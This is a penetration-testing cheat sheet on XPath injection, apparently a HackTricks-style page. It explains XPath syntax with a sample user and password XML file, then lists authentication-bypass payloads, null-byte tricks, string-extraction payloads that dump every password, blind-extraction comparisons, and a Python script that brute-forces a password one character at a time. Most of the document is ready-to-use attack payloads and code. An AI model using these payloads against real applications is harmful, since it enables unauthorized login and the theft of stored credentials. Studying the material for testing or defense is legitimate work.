XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Info about how to make queries: https://www.w3schools.com/xml/xpath_syntax.asp

Basic Syntax

Nodes

Expression Description
nodename Selects all nodes with the name “nodename”
/ Selects from the root node
// Selects nodes in the document from the current node that match the selection no matter where they are
. Selects the current node
.. Selects the parent of the current node
@ Selects attributes

Examples:

Path Expression Result
bookstore Selects all nodes with the name “bookstore”
/bookstore Selects the root element bookstoreNote: If the path starts with a slash ( / ) it always represents an absolute path to an element!
bookstore/book Selects all book elements that are children of bookstore
//book Selects all book elements no matter where they are in the document
bookstore//book Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element
//@lang Selects all attributes that are named lang

Predicates

Unknown Nodes

Wildcard Description
* Matches any element node
@* Matches any attribute node
node() Matches any node of any kind

Examples:

Path Expression Result
/bookstore/* Selects all the child element nodes of the bookstore element
//* Selects all elements in the document
//title[@*] Selects all title elements which have at least one attribute of any kind

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
<user>
    <name>fino</name>
    <password>fino2</password>
    <account>regular</account>
</user>
</data>

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Authentication Bypass

Example of queries:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR bypass in user and password (same value in both)

' or '1'='1
' or ''='
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abusing null injection

Username: ' or 1]%00

Double OR in Username or in password (is valid with only 1 vulnerable field)

IMPORTANT: Notice that the “and” is the first operation made.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

String extraction

The output contains strings and the user can manipulate the values to search:

/user/username[contains(., '+VALUE+')]

') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Get length of a value and extract it by comparisons:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

Other way
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Example:

import requests, string 

flag = ""
l = 0
alphabet = string.ascii_letters + string.ascii_digits + "{}_()"
for i in range(30): 
    r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) 
    if ("TRUE_COND" in r.text): 
        l = i 
        break 
print("[+] Password length: " + str(l)) 
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) 
    for al in alphabet: 
        r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
        if ("TRUE_COND" in r.text): 
            flag += al
            print("[+] Flag: " + flag) 
            break

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection